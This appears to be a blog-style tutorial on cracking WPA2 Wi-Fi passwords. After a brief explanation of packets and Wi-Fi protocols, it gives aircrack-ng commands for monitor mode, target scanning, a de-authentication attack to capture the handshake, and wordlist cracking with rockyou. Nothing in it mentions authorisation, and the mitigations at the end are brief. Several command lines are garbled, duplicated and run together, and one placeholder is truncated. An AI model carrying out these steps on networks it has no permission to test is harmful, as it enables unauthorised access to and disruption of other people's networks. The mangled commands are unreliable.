Behold the digital lifeforce—Wireless Fidelity (Wi-Fi)—threading through our daily tapestry, be it in the scholarly realms, the domestic haven, or the Netflix odyssey. Yet, in the cryptic shadows, do you dare tread into the enigmatic realm of Wi-Fi hacking?
To embark on such a quest, understanding the fundamentals is paramount. Let's unravel the first layer—the Packet.
What is a Packet?

A Packet serves as the elemental building block of data in a computer network. Picture it as Lego blocks of data—pieces sent from one computer to another, forming a cohesive whole upon arrival.
A packet, or datagram, comprises two essential components:
- A Header
- The Payload/Data
The Header provides vital information about the packet, aiding the network and receiving computer in deciphering its purpose. It includes details like source and destination IP addresses. The Payload, on the other hand, is the core content encapsulated within the packet. Encryption might cloak the payload, adding a layer of mystique to thwart prying eyes.
In the grand orchestra of networks, packets perform a crucial role in packet switching—breaking down data into manageable packets and routing them through diverse paths. The Internet itself stands as the colossal epitome of a packet-switching network.
Now, armed with packet knowledge, let's delve into the wireless networks realm.
How to Crack WPA2

Wi-Fi employs various protocols to secure internet connections, ranging from the open and vulnerable to the more fortified. The hierarchy includes:
- Open
- WEP (Wired Equivalent Privacy)
- WPA2 (Wi-Fi Protected Access 2)
- WPA3 (Wi-Fi Protected Access 3)
An open network is akin to an open book—no password, open for anyone to connect. WEP, an antiquated protocol, requires a password like its successors. WPA2 reigns supreme globally, while WPA3, the newest and most secure, remains a rare gem reserved for cutting-edge devices.
Prerequisites
Before we embark on this hacking escapade, let's gather our tools:
- A Linux machine (preferably Kali Linux)
- A wireless adapter
To set up Kali Linux from scratch, follow a detailed tutorial. Additionally, install the indispensable tool—Aircrack-ng—with a simple command:
bash sudo apt install aircrack-ngsudo apt install aircrack-ng
A Way Of Putting Network Card Into Monitor Mode
The journey begins with reconnaissance—gaining information about the target. To transition your wireless card from 'managed' to 'monitor' mode, revealing its potential as a wireless network reader, follow these steps:
- Unveil your wireless mystique with the command iwconfig. Embark on a dance of commands, a digital incantation echoing through the cyber ether.
bashsudo airmon-ng check rfkillsudo airmon-ng start <network interface>sudo airmon-ng check rfkill sudo airmon-ng start <network interface>
Replace <network interface> with your wireless card's name.
How to Look for the Target
To spot the networks around you, utilize the command:
bashsudo airodump-ng <network interface>sudo airodump-ng <network interface>
Focus on the Extended Service Set Identifier (ESSID) or Access Point (AP) name in the ESSID column. Cancel the scan with Ctrl+C, then run:
bashsudo airodump-ng <network interface> --bssid <AP>sudo airodump-ng <network interface> --bssid <AP>
Replace <AP> with the BSSID (MAC address) of your target network.
How to Capture the Handshake Packets
The next step involves capturing the handshake packets—the initial four packets sent from the AP when a device connects. Opt for the thrilling de-authentication attack:
- Capture and save packets:
bashsudo airodump-ng -c <channel number> --bssid <AP BSSID> <network interface> -w <path for saved packets file>
- Perform the de-authentication attack:
bashsudo aireplay-ng -a <BSSID of the AP> --deauth <time> <network interface>sudo aireplay-ng -a <BSSID of the AP> --deauth <time> <network interface>
How to Obtain the Password (Hopefully)
In the grand finale, we embark on the quest to unveil the elusive password. Generate Pairwise Master Keys (PMKs) using a wordlist against the captured packets:
- Extract the Rockyou wordlist:
bashsudo gunzip /usr/share/wordlists/rockyou.txt.gzsudo gunzip /usr/share/wordlists/rockyou.txt.gz
- Run the password-cracking command:
bashsudo aircrack-ng <captured file with .cap> -w <path to wordlist>sudo aircrack-ng <captured file with .> -w <path to wordlist>
And there you have it—the password unveiled. In our case, the anticlimactic reveal was 'password.' Realize that in reality, the duration may vary from minutes to hours based on password complexity.
To tidy up, remove the captured file, close terminals, and run:
bashservice NetworkManager restartservice NetworkManager restart
This restarts your network card to managed mode, enabling a connection to Wi-Fi.
Mitigations Against WiFi Attacks
Given the potential vulnerabilities, it's crucial to implement countermeasures:
- Regularly update Wi-Fi protocols.
- Use WPA3 for enhanced security.
- Employ strong, unique passwords.
- Monitor network activity for anomalies.
Conclusion
In the realm of Wi-Fi hacking, we've ventured from packets to de-authentication, unlocking the door to elusive passwords. As you tread these digital waters, let wisdom guide your actions, and may your coding endeavors be ever-enlightening.
